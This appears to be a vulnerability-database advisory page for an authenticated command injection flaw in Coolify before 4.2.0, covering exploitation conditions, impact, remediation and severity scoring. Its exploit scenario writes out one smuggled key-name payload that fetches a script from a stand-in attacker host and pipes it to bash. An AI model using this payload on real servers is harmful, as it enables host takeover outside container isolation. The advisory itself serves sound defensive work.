Skip to main content

Coolify EUVDEUVD-2026-69785

| CVE-2026-84694 HIGH
OS Command Injection (CWE-78)
2026-09-02 disclosure@vulncheck.com GHSA-xf4v-vq77-2rgv
8.7
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to Coolify as low-privilege user
  2. Delivery
    Navigate to application environment variable settings
  3. Exploit
    Inject shell metacharacters into environment variable key name
  4. Install
    Save configuration to trigger future command use
  5. C2
    Coolify constructs malicious Docker SSH command incorporating poisoned key
  6. Execute
    SSH shell on managed server executes injected commands
  7. Impact
    Arbitrary code runs on host outside containers

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid Coolify account with permission to create or modify environment variables for at least one application - low-privilege platform access (developer or team-member role) is sufficient; administrative rights are not required. The targeted Coolify instance must be actively managing at least one server via SSH, which is the core function of the platform and effectively a universal condition for any functional Coolify deployment. Exploitation requires that Coolify subsequently execute a Docker command using the poisoned environment variable key, which occurs during normal deployment or container lifecycle operations and does not require any additional victim interaction. The flaw is limited to Coolify installations running versions prior to 4.2.0; instances already upgraded to v4.2.0 or later are not affected.

Impact

The CVSS 4.0 score of 8.7 accurately characterizes this vulnerability: network-reachable, low complexity, and requiring only low-privilege authenticated access (PR:L), with high confidentiality, integrity, and availability impact on the vulnerable system. The critical risk amplifier beyond the score is that successful exploitation produces arbitrary code execution on the managed server host, entirely outside container isolation - functionally a container escape achieved without exploiting any container runtime CVE. Any Coolify user with permission to create or modify application environment variables is a potential attacker; in typical self-hosted deployments, this includes developers and team members with routine platform access, not just administrators. The attack requires no special network position beyond reaching the Coolify web interface, and no user interaction from a victim. No public exploit code has been identified at time of analysis, and CISA KEV listing is not confirmed; EPSS data was not provided. The standard CWE-78 injection pattern and the low attack complexity suggest this vulnerability is straightforward to reproduce once the patch diff is public, making prompt patching the critical control. Smaller deployments - even a mid-sized IT team running a self-hosted Coolify instance - should treat this as urgent given the potential for full host compromise with developer-level credentials.

Exploit ScenarioDerived

An authenticated Coolify developer with access to at least one application creates or edits an environment variable and sets the key name to a value such as MYVAR;curl${IFS}attacker.com/shell.sh|bash;#. The next time Coolify runs a Docker command incorporating that variable - during a deployment or container start - the injected shell content executes on the managed server host as the SSH user, achieving full host-level code execution outside any container. No public proof-of-concept has been identified, but the attack requires only web UI access and familiarity with basic shell injection techniques.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.5% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 02, 2026

Authenticated command injection in Coolify before 4.2.0 allows low-privileged platform users to execute arbitrary OS commands on managed server hosts by embedding shell metacharacters into Docker environment variable key names. The flaw bypasses container isolation entirely - injected payloads travel over SSH as part of Coolify-generated Docker commands and execute in the host OS context, not within any container sandbox. The upstream fix in v4.2.0, confirmed by GitHub release tag and patch commit b50839d4515b115b7ded5db609471440249995da, adds validation constraints in ValidationPatterns.php to reject malformed key names before command construction.

RemediationAI

Upgrade Coolify to v4.2.0 or later immediately, available at https://github.com/coollabsio/coolify/releases/tag/v4.2.0. The patch commit b50839d4515b115b7ded5db609471440249995da adds validation constraints in app/Support/ValidationPatterns.php that reject environment variable key names containing shell metacharacters before they reach Docker command construction, closing the injection vector. If an immediate upgrade is not feasible, restrict the ability to define or modify application environment variables to the most trusted users only (effectively platform administrators), since any user with that capability can exploit this flaw regardless of their application-level role. Network-level controls on SSH access between the Coolify host and managed servers do not mitigate this vulnerability, because the malicious payload originates from within Coolify's own command generation logic. The VulnCheck advisory at https://www.vulncheck.com/advisories/coolify-before-4.2.0-remote-code-execution-via-environment-variable-key provides additional context and should be reviewed for any supplementary guidance.

Affected VersionsENISA

coolify 0 <4.2.0

Affected Packages

euvd coolify fix: 4.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Coolify is an open-source, self-hostable PaaS built on Laravel 12 and Livewire 3 that provisions and manages applications, databases, and services by constructing Docker commands and transmitting them over SSH to managed servers. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). When Coolify builds Docker commands incorporating user-supplied environment variable definitions, it interpolates key names directly into the shell command string without sufficient sanitization. Because environment variable keys are typically treated as trusted developer input, validation is commonly applied to values but overlooked for keys. Shell metacharacters injected into a key name (semicolons, backticks, $() subshell syntax, pipes) cause the SSH shell on the managed server to interpret the extra content as independent commands, executing them in the context of the SSH user - outside any Docker container boundary. The referenced files app/Policies/ApplicationPolicy.php and app/Support/ValidationPatterns.php indicate the fix added an allowlist-based constraint on permissible characters in environment variable key names, preventing injection at input validation time rather than at command-construction time.

Know when Docker gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 8.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 9.9 CRITICAL

Network-reachable with only low-privilege authenticated access; scope changes because injected commands escape the container and execute on the host OS.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Sep 02, 2026 - 03:01 EUVD
CVE Published
Sep 02, 2026 - 01:17 cve.org
HIGH 8.7

DescriptionCVE.org

Coolify before 4.2.0 fails to properly escape environment variable key names in Docker commands executed over SSH on managed servers. Authenticated attackers can inject shell metacharacters into environment variable keys to execute arbitrary commands on the server host outside containers.

Executive ViewAI

Why It Matters

Coolify container-management deployments before v4.2.0 expose infrastructure to unauthorized host-level access by low-privileged platform users, allowing arbitrary command execution on production servers and circumventing container isolation protections. Organizations leveraging Coolify for distributed containerized workloads face direct OS-level compromise if platform permissions are granted beyond strict administrative needs. This vulnerability directly threatens the isolation model that containerized infrastructure depends on.

Business Impact: High
Compensating Controls

Apply vendor patch (Coolify v4.2.0 or later).

Threat Intelligence Overview

EPSS Score
0.5%
Top 62% exploitable
Prevalence
Medium
popular open-source self-hosted PaaS alternative with large GitHub following
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.5%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2026-66384 MEDIUM POC
5.3 Aug 12

Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-52806 CRITICAL POC
9.9 Jun 23

Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config

CVE-2025-14707 HIGH POC
8.9 Dec 15

Unauthenticated remote command injection in SGWBOX N3 firmware 2.0.25 lets attackers execute arbitrary operating-system

CVE-2026-56274 HIGH POC
8.7 Jun 23

Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy